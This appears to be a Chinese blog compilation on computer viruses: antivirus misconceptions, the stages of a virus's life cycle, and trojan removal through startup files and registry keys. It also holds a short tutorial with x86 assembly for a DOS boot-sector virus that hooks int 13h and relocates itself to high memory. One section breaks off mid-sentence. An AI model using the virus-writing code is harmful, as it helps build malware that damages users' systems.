目前市场上出售的杀毒软件,都只能在病毒泛滥之后才“一展身手”。但在杀毒之前病毒已经造成了工作的延误、数据的破坏或其他更为严重的后果。所以,应该选择一套完善的反毒系统,它不仅应包括常见的查、杀病毒功能,还应该同时包括有实时防毒功能,能实时地监测、跟踪对文件的各种操作,一旦发现病毒,立即报警,只有这样才能最大程度地减少被病毒感染的机会。

 6、磁盘文件损坏多为病毒所为(错)
 
文件的损坏有多种原因,电源电压波动、掉电、磁化、磁盘质量低劣、硬件错误、其他软件中的错误、灰尘、烟灰、茶水,甚至一个喷嚏都可能导致数据丢失。以上所举对文件造成的损坏,会比病毒造成的损失更常见,更严重。
 
7、如果做备份的时候,备份了病霉,那么这些备份是无用的(错)
 
有两种情况:①软盘备份:备份中含有引导型病毒。这种情况下,只要不用这张软盘试图启动您的计算机,它将和无毒备份一样安全。②磁带备份:备份中的数据文件中不会有病毒,如果其中的可执行文件中含有病毒,那么执行文件就白备份了,但是备份中的数据文件还是可用的。
 
8、反病毒软件可以随时随地防范任何病霉(错)
 
很显然,这种反病毒软件是不存在的。新病毒不断出现,要求反病毒软件必须快速升级。对抗病毒,我们需要的是一种安全策略和一个完善的反病毒系统,用备份作为防病毒的第一道防线,将反病毒软件作为第二道防线。 同时,软件的及时升级是加固第二道防线的唯一方法。使用反病毒软件是为了辅助防毒,它不可能是刀枪不入的保镖。
 
9、正版软件不会带病毒,可以安全使用(错)
 
计算机用户常被告知,“为了防范病毒的侵害,不要使用来历不明的软件”。这话不错,所谓“来历不明的软件”确实是计算机病毒传播主要途径之一。那么使用有“来历”的软件是否就可以高枕无忧呢?非也!实际上计算机报刊媒体已经多次报导过“正版软件”。“商品软件”带病毒问题。使用商品软件也不可掉以轻心,甚至新购买的计算机包括
 
原装计算机在使用前都须进行病毒检测。如确实由于原版软件带有病毒而造成重大的损失,应寻求法律保护。
不用软盘,不会感染病毒,因而无需选择杀毒软件
 
“不用软盘,就不会感染病毒”是常在初级用户中听到的一种言论,它和“使用软盘,就会感染病毒”是一对孪生姊妹,是两种相同类型的错误论调。
 
病毒的传染是通过带病毒软件进行的,但软盘并不是“带病毒软件”的唯一载体。可以说,凡是可以得到程序(软件)的地方,都可能“得到”病毒。也就是说,使用光盘、硬盘、磁带,或者通过局域/广域网络、Internet、BBS(电子公告板)使用或下载软件,都潜在感染病毒的危险。尤其是近年来 Internet和BBS的广泛使用,使得国内外病毒大面积、高速度的流行传播成为可能。这些具有国际性的计算机信息传播媒体,是潜在的病毒毒源和导管(当然,这些网络体系中也具有安全性较高的防/杀病毒系统),使每一个计算机用户都受到染毒的威胁。 —恐怕没有人会说他的计算机永远不会连上Internet。
 
人不可能不生病,所以计算机绝不可能不感染病毒,所以您必须选择杀毒软件。
 
人不可能都是医生,所以您没有必要独自去面对病毒,所以您必须选择杀毒软件。
 
 10、“能杀毒的就行”和“有一个杀毒软件就够了”(错)
 
“能杀毒的就行”和“有一个杀毒软件就够了”,这是一部分人在选择杀毒软件时的想法。一种常见的情况是,当您的计算机不正常时,找来一大堆杀毒软件,不管是正版还是盗版,能查能杀病毒就是好样的。其实很多计算机的故障并不是病毒导致,这样,很多的杀毒软件都“无效”;另一种更常见的情况是用户一般并不注意“查毒”与“杀毒”的区别,使用某种杀毒软件时,首选“杀毒”操作。于是,当它用这种杀毒软件将系统“杀毒”了一次以后,用其他杀毒软件,就再也找不到病毒了,那就认定这个软件是最好的。
 
目前还没有一个杀毒软件能囊括所有病毒而杀之,这是谁也做不到的。由于各种病毒标本的来源不同,再加上程序编制者的实力有别,总存在一种软件能查杀的病毒,别的软件却不能查杀。或者由于一些程序BUG(程序错误),使某些软件本来可以查杀的病毒,在它的一些版本中却不能查杀或误查误杀了。所以一般不建议用户革一的选择一种杀毒软件。
 
在选择杀毒软件时,请首先抛开您所有关于“好”与“不好”的成见,也拒绝广告词上的种种诱惑,认真地去了解一下杀病毒软件厂商在技术实力、服务质量、软件性能等方面的东西。特别应该了解软件厂商在升级、退货、损坏更换等方面的措施和承诺的可信度。同时,您应该请厂商直接阐述一下他们在广告中的各种术语的具体含义,要知道,这是您作为消费者的合法权益。
 
现在的反病毒软件市场就像“战国时代”,各家都说各家好。但消费者感到不放心,到底用谁的软件好?只用一个好还是用几个好?世上没有“万灵丹”,一个软件再好,也不是所有的病毒都能杀,不能“包治百病”。各软件厂家获取病毒样本的时间不同,因此,在每一个时间段,各软件厂家都是各有侧重,只有一个不保险。除了“万能的主”之外,这个世界上恐怕再也找不到万能的东西了。为防止“重复建设”,专家认为,选购两个优势互补的反病毒软件即可,这是提高“安全系数”的最佳方法。千万别把好几个反病毒软件都在同一台计算机上安装,大多了没必要,而且有可能出现相互之间抢占资源、判断失误、死机等问题。
 
11、发现CMOS中有病毒(错)
 
CMOS是微机中的一种特殊存储器,记录了微机的硬件设置参数及系统日期时间。开机密码等重要数据。由于CMOS设置十分重要,所以可能成为计算机病毒破坏攻击的目标。目前确实已发现了改写CMOS的“CMOS设置破坏者”病毒,但在CMOS中并不存在病毒。
有时,机器发生问题,问题出在CMOS设置上,有人认为,这是躲藏在CMOS里面的病毒!因而误认为杀毒软件不行,采取对CMOS存储器又是放电、又是短路的措施,重新设置CMOS参数后,机器恢复了正常,从此确信CMOS中有病毒。这种行为及其危险,很容易将主板搞坏。我们说“CMOS设置破坏者病毒,不等于CMOS中有病毒!病毒不能将自身自动传染到CMOS里面而存留和被激活!”,“病毒可以将CMOS设置改变或加密,但用户也可以重新设置和恢复。”
 
某些情况下,如CMOS电源不足、外界电源冲击性波动、软件崩溃、硬件不稳定、操作上的失误、病毒改写等都会导致CMOS 设置紊乱,也可以说,是紊乱性加密,因而,造成机器不能引导或不能正常工作。这时,一般情况下可以重新对CMOS设置和用专用软件来清理紊乱性密码,然后再设置正确参数。
 
CMOS中不会有病毒寄生,因为:
 
(1)CMOS是通过I/O读写与CPU交换数据的, CPU的物理机能决定了只能读写CMOS的数据,不能把CMOS中的数据当作指令代码来执行。而病毒想要工作的话就一定要执行其程序码,但CMOS只是用来存放数据的,在CMOS中的数据不是可执行的,所以并没有CMO5病毒,只有会破坏CMOS数据的病毒。
 
(2)如果把一段病毒程序写入CMOS,则必然破坏微机的硬件设置以至于微机根本不能运行,存储在CMOS中的“病毒程序”将毫无作用,病毒不能在CMOS中蔓延或藏身于其中。
 
(3)CMOS的有效存储容量只有128个字节,不足以容纳病毒。可见CMOS不具备病毒寄生和被激活的条件,不可能有病毒存在。
 
12、发现Cache中有病毒
 
与CMOS中没有病毒一样,Cache中也是根本不可能存在病毒的。
我们知道,程序执行时,数据流是这样被传送的:
 
外存(软/硬盘) 

PC病毒原理:感染-潜伏-繁殖-发作

    听到“计算机病毒”时,也许不少人会漠然地说:不就是一些侵入个人电脑中干坏事的程序嘛!
  最近像“蠕虫”和“特洛伊木马”之类的病毒术语几乎都成了普通电脑用户的口头禅了。下面就让我们从这些术语的含义开始了解一下计算机病毒。
“计算机病毒”的起源
  “计算机病毒”这种说法起源于美国弗雷德里克·B·科恩(Frederick B.Cohen)博士于1984年9月在美国计算机安全学会上发表的一篇论文(当时他还是美国加利弗尼亚大学研究生院的一名学生)。在这篇论文中,科恩首次把“为了把自身的拷贝传播给其他程序而修改并感染目标程序的程序”定义为“计算机病毒”。这就是计算机病毒的原始含义。
  在电视和杂志等报道中,绝大多数则把所有的非法程序统称为病毒。但是,计算机病毒专家至今仍尊重科恩博士当时的定义。因此笔者在本文将把寄生于其他程序中的程序称为病毒,而把人们一般所说的病毒称为“非法程序”。本文将对狭义上所讲的病毒以及非法程序的整个运行机制进行详细探讨。
自我繁殖的蠕虫

   按照非法程序的行动来划分,大体上可以分为病毒、蠕虫和特洛伊木马这三大类。
  蠕虫是指具有通过网络进行自我繁殖功能的程序。比如,随意利用邮件软件等应用程序向其他个人电脑发送含有自身拷贝的电子邮件。其代表是1999年年初首次出现、并在日本造成了巨大损失的“幸福99(Happy99)”蠕虫。
  最近有人说“病毒危害急剧增加的原因在于电子邮件的普及”,这句话只讲对了一半。从严格意义来讲应该说“其原因在于电子邮件的普及以及通过邮件繁殖的蠕虫的增加”。
伪装成正规软件的特洛伊木马
  特洛伊木马是指伪装成游戏和应用程序等正规程序的非法程序。其性质与狭义上所讲的病毒存在本质区别。特洛伊木马是单独运行的非法程序,不像病毒那样感染其他程序。
  另外,有的非法程序具有上述三类中的两类以上的性质。比如“兼具蠕虫功能的病毒”等。
病毒形态可分为4个阶段。不过,根据不同的病毒,有的可能不存在某个阶段,或者多个阶段同时并进
病毒形态可分为4个阶段
  下面笔者即将开始向大家说明病毒(非法程序)的本来面目。在此之前,首先向大家介绍一下非法程序的运行机理。
  典型的病毒运行机制可以分为(1)感染、(2)潜伏、(3)繁殖和(4)发作4个阶段。
(1)感染是指病毒自我复制并传播给其他程序;
(2)潜伏是指病毒等非法程序为了逃避用户和防病毒软件的监视而隐藏自身行踪的行为;
(3)繁殖是非法程序不断地由一部计算机向其他计算机进行传播的状态;
(4)发作是非法程序所实施的各种恶意行动。

    第一阶段:感染
结果是寄生到其他程序中
  在详细说明感染机理前,首先看一下感染途径。因为如果不了解病毒是如何进入到个人电脑的,就无法往下进行。
9成以上是通过电子邮件感染的
  病毒主要通过(1)电子邮件、(2)外部介质、(3)下载这3种途径入侵个人电脑。
  (1)电子邮件,是指把蠕虫和特洛伊木马本身以及受病毒感染的文件作为电子邮件附件等发送出去。有的是普通用户在不知道附件已经感染病毒的情况下发送了病毒邮件,有的是蠕虫本身自动地向外界发送邮件。而特洛伊木马则是由图谋不轨的第三者(即黑客)发送的。
  而且受病毒感染的不仅仅限于附件。比如,Windows附带的Outlook Express等常用电子邮件软件,大多都会利用Web浏览器的功能,解释并显示邮件正文中所描述的HTML代码。而病毒脚本往往就隐藏在HTML邮件当中。
  (2)外部介质,是指用户从别人那里借来带有病毒的软盘和光盘等介质后,病毒就会由这些介质入侵到自己的电脑中。尽管很多情况是由于从别人那里借来的软盘等介质中带有病毒而被感染,但也不完全如此,过去就曾发生过多起市售软件中含有病毒的情况。
  另外,通过外部介质的感染并不仅限于通过软盘和硬盘上的文件进行感染。有些病毒会隐藏在软盘和硬盘的起动区域中,这种情况稍后会作详细介绍。如果利用这种带病毒的外部介质起动个人电脑,就会受到病毒感染。
  (3)下载,是指用户从Web站点和FTP服务器中下载感染了特洛伊木马和病毒的文件。公司内部LAN上的文件服务器和不同电脑之间的文件共享都有可能成为感染病毒的原因。
  另外,在第三种感染途径中还存在极少数特殊情况。比如,99年曾在业界引起轩然大波的“Worm.ExploreZip”病毒,只要LAN上的其他个人电脑把起动系统的分区设置为完全共享,该病毒就会随意地发送自身的拷贝并实施感染。也就是说,即便电脑用户不进行下载,电脑也会自动下载并运行病毒。
  在这三种感染途径中,所占比例最大的是电子邮件。据受理日本国内病毒相关损失情况报告的日本信息处理振兴事业协会(IPA)表示,最近9成以上都是通过电子邮件感染的。就在数年前绝大多数还都是通过外部介质感染,由此可以看出电子邮件的普及对病毒感染造成了多么大的影响。也就是说病毒和电子邮件之间存在一种息息相关的关系。
感染目标有3个
  不过,即便病毒通过上述三种途径进入了个人电脑,也不会直接产生什么问题。只有在用户无意中打开了电子邮件附件、执行了病毒程序那一刻起才会引发感染。这一点非常重要,请读者务必谨记。
  用户一旦不慎起动病毒,感染即随之开始。根据病毒感染的不同目标,大体上可以把病毒分为如下3种:
  ·引导区感染型:
    感染硬盘和软件中保存起动程序的区域
  ·可执行文件感染型:
    感染扩展名为.com和.exe等程序(可执行文件)
  ·脚本感染型:
    感染微软Office产品(Word等)的文档文件和HTML文件等
 
下面依次对这3种病毒加以介绍。
 
在个人电脑起动时同时开始运行
  首先来看一下引导区感染型病毒(图4)。此类病毒感染软盘和硬盘的引导扇区(起动区域)。
  引导扇区是指在个人电脑起动的初始状态下被访问的特殊区域,该区域保存了起动电脑所需的小程序。在硬盘中称为主引导记录(MBR)。引导区感染型病毒就感染这些小程序。病毒感染引导扇区后,在操作系统起动之前病毒就会被读入内存,并由CPU执行。在这种状态下只要在电脑中插入其他软盘等外部介质,就会一个不落地感染所使用的软盘。
   随意更改可执行文件
  接下来谈谈可执行文件感染型病毒。顾名思义,可执行文件感染型病毒只感染文件扩展名为.com和.exe等的可执行文件。下面以Windows程序为倒,介绍一下可执行文件感染型病毒的感染机理。
  感染机理其实非常简单。用户无意间运行了病毒程序后,病毒就开始查找保存在个人电脑中的其他程序文件,并实施感染。如果是可感染文件,病毒就会随意地更改此文件,并把自身的病毒代码复制到程序中。更改文件的方法包括(A)覆盖感染型、(B)追加感染型、(C)插空感染型三种方式。
用病毒代码进行更改
  对于Windows程序文件,基本上来讲描述整个文件尺寸和程序代码起始位置等信息的文件头位于文件的起始部位,在其之后为程序代码。
  覆盖感染型病毒是指用自身的病毒代码覆盖文件的程序代码部分。由于只是单纯利用病毒代码进行覆盖,因此感染机理最为简单。
  不过,感染这种病毒后,程序文件就被破坏,无法正常工作。也就是说用户受感染后,原来的程序将不能运行,而只能起动病毒程序。结果,即便用户不能马上明白是不是病毒,也会立刻注意到发生了异常情况。
感染后原程序仍然工作
  比覆盖感染型更巧妙一些的是追加感染型病毒。
  此类病毒并不更改感染对象的程序代码,而是把病毒代码添加到程序文件最后。另外,追加感染型病毒还会更改原程序文件的文件头部分。
  具体来说就是把文件头中原来记述的“执行开始地址为XXX(原程序的开头)”等信息更改变成“执行开始地址为ZZZ(病毒程序的开头)”。这样一来,在原程序运行之前,病毒代码就会首先被执行。
  另外,在病毒代码的最后会描述一段代码,以便重新回到执行原程序的开始地址。这样一来,受感染程序在执行了病毒代码之后,就会接着执行原程序。
  结果,由于原程序会正常运行,用户很难察觉到已经感染了病毒。不过,程序受到追加感染型病毒的感染后,其文件尺寸会变得比原文件大。
  最后来看一下插空感染型病毒。这种病毒可以说是由追加感染型病毒发展而来的。事实上,它并不是在程序文件中查找合适的部位,然后把程序代码等信息添加到文件中,而是查找没有实际意义的数据所在的位置。插空感染型病毒找到这些部分以后,就把自身的代码覆盖到这些部分中。结果,尽管原程序照常运行,且文件尺寸也没有任何变化,但是仍能产生感染病毒的文件。
  不过,此类病毒进行感染的前提条件是感染对象文件必须具有足够的空间。所以,它无法感染没有足够空间的程序文件。
感染数据的宏病毒
   病毒不仅感染可执行文件,还可感染数据文件。这就是宏病毒等“脚本型病毒”。脚本型病毒的感染机理如下。
  用户打开带有病毒的数据文件后,该数据文件相关联的应用程序就会执行数据文件中描述的脚本。由此就会起动病毒,然后把自身的脚本添加(或覆盖)到其他数据文件中,进行感染。
   由于这种脚本型病毒并不感染可执行文件,而感染数据文件,因此也许会让人感觉与可执行文件感染型病毒区别很大。但实际上并没有太大的区别。虽说感染的是数据文件,但该数据文件最终还是含有可由某些特定应用程序来执行的程序代码的文件。最关键的是,在病毒运行过程中总体上是作为程序来运行的,因此在这个意义上来讲,与可执行文件感染型病毒在本质并没有任何区别。
  “宏病毒感染标准模板”就是一个能真实反映这种病毒特点的例子。比如感染Word文档的宏病毒,不仅感染用户生成的数据文件,有时还会感染Word起动时最先调用的标准模板这一特别文件。结果,每当Word应用程序起动时,就会运行宏病毒,每当打开和保存Word文档文件时,就会不断感染其他文档文件。也就是说,就好象病毒感染了Word应用程序本身一样。
 
    第二阶段:潜伏—-实施掩盖和伪装
  在第二阶段即潜伏过程中需要了解的内容是,病毒是如何为躲避用户和防病毒软件的侦察而进行隐藏的。通过与防病毒软件之间不断地“斗智斗勇”,有的病毒已经逐渐具备了非常高级的隐身法。最具代表性的潜伏方法是隐蔽和自我变异。
尺寸上作假,逃避监视
  隐蔽法是指为病毒为了已经隐藏文件已感染病毒的事实,向用户和防病毒软件提供虚假文件尺寸。比如,用户运行受病毒感染的文件后,病毒不仅会感染其他文件,还常驻内存并开始监视用户操作。如果用户运行文件列表显示等命令查看文件尺寸时,病毒就会代替操作系统提供虚假信息。
如果在第一阶段中介绍的追加感染型病毒采用这种方法,用户就很难察觉已经受到病毒感染。也就是说以文件尺寸的变化为线索分析感染情况会变得相当困难。
通过伪装躲避追踪
  另一个潜伏方法即自我变异是指病毒通过实际改变自身的形态,来主要逃避防病毒软件的检测。尽管在第二部分已经进行了详细说明,笔者在这里再解释一遍,防病毒软件为了检测病毒,首先会提取病毒特征代码,然后通过比较文件和病毒特征代码来查找病毒感染情况。
  也就是说这种方法是指病毒通过采取某些措施,由于在每次感染时都会改变自身形态(病毒特征代码),因此即便与防病毒软件掌握的特征代码相对照,也不会被发现。另外,也有人把此类病毒称为变形病毒。
  还有一种比自我变异更高级的方法即“加密法”,指每次感染时先对自身进行加密,然后把还原程序及加密密钥嵌入到感染的对象文件中。如果此类病毒准备了大量的加密密钥,那么由于每次感染时就会变成不同的数据,因此防病毒软件就很难发现。
  为了防止被破解,加密过程越复杂、加密时就越要花费更多的时间。也就是说,加密法越复杂,不仅越容易被用户察觉,而且病毒自身的感染速度也变得越慢。不过最近的个人电脑性能已经很高,进行这种处理根本不算是什么负担。
 
    第三阶段:繁殖—-通过网络传播
  就像在感染阶段那部分所提到的那样,最近病毒主要通过电子邮件入侵个人电脑。将电子邮件用作传播媒介的就是蠕虫。
  实际上,最近发生的大规模病毒感染事件基本上都与蠕虫分不开。为了了解这些事件的真相,下面首先说明一下蠕虫繁殖的机理。
随意假借邮件软件实施传播
  首先以最具代表性的Windows蠕虫为例,说明一下蠕虫繁殖的过程(图8(点击放大))。比如99年春出现的、仅在数日内就有数万台甚至数十万部个人电脑被感染的梅莉莎蠕虫(也称为W97M.、Melissa.A)。
  梅莉莎蠕虫属于感染Word文档文件的宏病毒,会作为电子邮件附件发送给用户。用户一旦打开(运行)该附件,在感染Word的同时,也开始作为蠕虫进行繁殖。
  具体来说,该蠕虫会随意使用Word宏功能,起动电子邮件软件Outlook,然后把包括自身拷贝的Word文档文件添加到电子邮件中,并发送给Outlook地址薄中登记的前50个邮件地址。
  也就是说,即便用户并没有与别人交换软盘之类的存储媒介,该蠕虫也会为所欲为地把自身拷贝发送给其他用户并进行繁殖。
完全自动的UNIX蠕虫
  最近出现的蠕虫基本上都像梅莉莎蠕虫一样通过电子邮件软件进行繁殖。但还有其他类型的蠕虫。这就是主要在UNIX系统中繁殖的蠕虫,此类蠕虫曾经是蠕虫的主流品种。
  为数众多的UNIX蠕虫的最大特点是:完全自动地通过网络进行繁殖。像梅莉莎这样的使用电子邮件进行繁殖的蠕虫虽然能够向其他电脑发送自身拷贝,但此后就只能等着电脑用户去运行附件了。而UNIX蠕虫则不需用户进行任何操作即可进行繁殖。
  之所以能如此,是因为UNIX机器基本上都是作为服务器来使用。也就是说由于运行了服务器软件,因此利用服务器软件的安全漏洞,由外部发送并运行蠕虫。
  我们来具体地看一下其繁殖过程。UNIX蠕虫首先在合适的IP地址范围内,查找正在运行具有某种特定安全漏洞的服务器软件的UNIX机器。然后一旦找到符合条件的服务器,就会利用服务器软件的安全漏洞由外部执行命令,向服务器内部发送自身拷贝。紧接着再运行所发送的蠕虫。
 
    第四阶段:发作—-没有病毒不能做的事情
  最后一个阶段是发作。对于发作,笔者最想强调的是“病毒在个人电脑中什么事都可以干得出来”。病毒既然是在个人电脑上运行的程序,就绝不存在“因为是病毒,所以可以干这个”和“蠕虫干不了这个”的说法。
破坏程度因人而异
  下面就具体说明病毒发作后会产生什么情况,以及根据用户遭受的损失来介绍一下其典型症状。
  如果把破坏程度分为3个等级,那么破坏程度最大的大概就算是“格式化硬盘”和“删除文件”等直接破坏行为了。尤其是“破坏电脑BIOS”的发作症状,由于电脑将不能起动,用户自行进行修复根本无从谈起,在经济上的损失非常大。
  除这种直接破坏行为以外,“改写文件”、“大量发送邮件”、“显示信息”和“占用内存”等症状会因病毒不同而千差万别。也有不发作的病毒。
  什么样的症状对应何种程度的危险,上述所说的只是一般的标准。
  对于病毒的发作,还有另一个容易让人误解的地方。这就是指,“包括宏病毒在内的脚本病毒,由于它只在相应的应用程序等封闭的环境中运行,因此即使发作也不会产生影响到整个电脑的巨大损失”。
  其实这是大错特错的。微软Offic产品的宏语言等被病毒视为攻击对象的脚本语言大都能够超越应用程序的范围而进行操作。比如,删除系统文件也只需利用数行代码即可轻松完成。

引导型病毒编制方法

        引导形病毒指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于 pc 开机后,会先执行主引导分区的代码,因此病毒可以获得第一控制权,在引导 DOS 操作系统之前,作完以下事情:
a. 减少dos可用最大内存量,以供己需;如:
     xor ax,ax
     mov ss,ax
     mov sp,7c00h
     mov ds,ax
     mov ax,word ptr ds:[413h] ; here store largest mem 0000:0413
     sub ax,2         ; apply 2k mem for virus
     mov ds:[413h],ax
b. 修改必要的中断向量,以便传播;
c. 读入病毒的其它部分,进行病毒的拼装(在内存高端);
        先从已标记的簇中某扇区读入病毒的其他部分,这些簇往往被标记为坏簇,(但是文件型病毒则不必如此,二者混合型亦然)然后再读入原引导记录到0000:7c00h,跳转执行。代码如下:     mov cl,06h
     shl ax,cl    ; ax = 8F80
     add ax,0840h  ; ax = 97c0
     mov es,ax
     mov si,7c00h  ; si = 7c00
     mov di,si
     mov cx,0100h
     repz movsw   ; 将病毒移到高端.
   v2: push ax
     pop ds
     push ax
     mov bx,7c4bh
     push bx
     ret       ; 指令执行转入高端内存
     call v3
   v3: xor ah,ah    ; ah=0
     int 13h
     mov ah,80h
     and byte ptr ds:[7df8h],al
   v4: mov bx,word ptr ds:[7df9h] ; 读入病毒的其他部分.
     push cs
     pop ax     ; ax=97c0
     sub ax,20h   ; ax=97a0
     mov es,ax    ; es=97a0
     call v9
     mov bx,word ptr ds:[7df9h] ; load logic sector id
     inc bx           ; bx++ , is boot sector
     mov ax,0ffc0h  ; ffc0:8000 = 0000:7c00 读入原引导分区内容.
     mov es,ax
     call v9
     xor ax,ax    ; AX=0
     mov byte ptr ds:[7df7h],al ; flag = 0
   v5: mov ds,ax    ; ds=0
     mov ax,word ptr ds:[4ch]  ;
     mov bx,word ptr ds:[4eh]  ; 修改中断向量.
    mov word ptr ds:[4ch],7cd6h
     mov word ptr ds:[4eh],cs  ; now int13h had been changed
     push cs
     pop ds     ; ds=cs
     mov word ptr ds:[7d30h],ax ; save original int13 vector
     mov word ptr ds:[7d32h],bx ;
   v6: mov dl,byte ptr ds:[7df8h] ; load drive letter
   v7:
     ;=======================================================
     ; jmp 0000:7c00       ; here is a jump
     db 0eah,00h,7ch,00h,00h 这里是个跳转指令的二进制代码.
     ;=======================================================
d. 读入原主引导分区,转去执行dos的引导工作。




Modified At 2008-01-23 17:58:01

木马病毒的通用解法

        “木马”程序会想尽一切办法隐藏自己,主要途径有:
        在任务栏中隐藏自己,这是最基本的只要把Form的Visible属性设为False、ShowInTaskBar设为False,程序运行时就不会出现在任务栏中了。
        在任务管理器中隐形:将程序设为“系统服务”可以很轻松地伪装自己。 当然它也会悄无声息地启动,你当然不会指望用户每次启动后点击“木马”图标来运行服务端,“木马”会在每次用户启动时自动装载服务端,Windows系统启动时自动加载应用程序的方法,“木马”都会用上,如:启动组、win.ini、system.ini、注册表等等都是“木马”藏身的好地方。
        下面具体谈谈“木马”是怎样自动加载的。     
        在win.ini文件中,在[WINDOWS]下面,“run=”和“load=”是可能加载“木马”程序的途径,必须仔细留心它们。一般情况下,它们的等号后面什么都没有,如果发现后面跟有路径与文件名不是你熟悉的启动文件,你的计算机就可能中上“木马”了。当然你也得看清楚,因为好多“木马”,如“AOL Trojan木马”,它把自身伪装成command.exe文件,如果不注意可能不会发现它不是真正的系统启动文件。 
        在system.ini文件中,在[BOOT]下面有个“shell=文件名”。正确的文件名应该是“explorer.exe”,如果不是“explorer.exe”,而是“shell= explorer.exe 程序名”,那么后面跟着的那个程序就是“木马”程序,就是说你已经中“木马”了。 
        在注册表中的情况最复杂,通过regedit命令打开注册表编辑器,在点击至:“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”目录下,查看键值中有没有自己不熟悉的自动启动文件,扩展名为EXE,这里切记:有的“木马”程序生成的文件很像系统自身文件,想通过伪装蒙混过关,如“Acid Battery v1.0木马”,它将注册表“HKEY-LOCAL-MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”下的 Explorer 键值改为Explorer=“C:\WINDOWS\expiorer.exe”,“木马”程序与真正的Explorer之间只有“i”与“l”的差别。当然在注册表中还有很多地方都可以隐藏“木马”程序,如:“HKEY-CURRENT-USER\Software\Microsoft\Windows\CurrentVersion\Run”、“HKEY-USERS\****\Software\Microsoft\Windows\CurrentVersion\Run”的目录下都有可能,最好的办法就是在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索即可。 
        知道了“木马”的工作原理,查杀“木马”就变得很容易,如果发现有“木马”存在,最安全也是最有效的方法就是马上将计算机与网络断开,防止黑客通过网络对你进行攻击。然后编辑win.ini文件,将[WINDOWS]下面,“run=“木马”程序”或“load=“木马”程序”更改为“run=”和“load=”;编辑system.ini文件,将[BOOT]下面的“shell=‘木马’文件”,更改为:“shell=explorer.exe”;在注册表中,用regedit对注册表进行编辑,先在“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下找到“木马”程序的文件名,再在整个注册表中搜索并替换掉“木马”程序,有时候还需注意的是:有的“木马”程序并不是直接将“HKEY-LOCAL-MACHINE\Software\Microsoft\Windows\CurrentVersion\Run”下的“木马”键值删除就行了,因为有的“木马”如:BladeRunner“木马”,如果你删除它,“木马”会立即自动加上,你需要的是记下“木马”的名字与目录,然后退回到MS-DOS下,找到此“木马”文件并删除掉。重新启动计算机,然后再到注册表中将所有“木马”文件的键值删除。至此,我们就大功告成了。





Modified At 2008-05-21 19:22:56